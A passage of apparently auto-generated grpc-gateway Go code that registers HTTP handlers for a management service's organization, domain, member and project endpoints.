metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ReactivateMyOrg_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchMyOrgDomains_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SearchMyOrgDomains_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchMyOrgDomains_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddMyOrgDomain_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_AddMyOrgDomain_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddMyOrgDomain_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_GenerateMyOrgDomainValidation_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GenerateMyOrgDomainValidation_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GenerateMyOrgDomainValidation_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_ValidateMyOrgDomain_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ValidateMyOrgDomain_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ValidateMyOrgDomain_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SetMyPrimaryOrgDomain_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SetMyPrimaryOrgDomain_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SetMyPrimaryOrgDomain_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveMyOrgDomain_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemoveMyOrgDomain_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveMyOrgDomain_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetMyOrgIamPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetMyOrgIamPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetMyOrgIamPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetOrgMemberRoles_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetOrgMemberRoles_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetOrgMemberRoles_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddMyOrgMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_AddMyOrgMember_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddMyOrgMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ChangeMyOrgMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ChangeMyOrgMember_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ChangeMyOrgMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveMyOrgMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemoveMyOrgMember_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveMyOrgMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchMyOrgMembers_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SearchMyOrgMembers_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchMyOrgMembers_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_ProjectChanges_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ProjectChanges_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ProjectChanges_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchProjects_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SearchProjects_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchProjects_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_ProjectByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ProjectByID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ProjectByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreateProject_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_CreateProject_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreateProject_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateProject_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_UpdateProject_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateProject_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_DeactivateProject_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_DeactivateProject_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeactivateProject_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ReactivateProject_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ReactivateProject_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ReactivateProject_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveProject_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemoveProject_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveProject_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchGrantedProjects_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SearchGrantedProjects_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchGrantedProjects_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetGrantedProjectByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetGrantedProjectByID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetGrantedProjectByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetProjectMemberRoles_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetProjectMemberRoles_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetProjectMemberRoles_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchProjectMembers_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SearchProjectMembers_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil 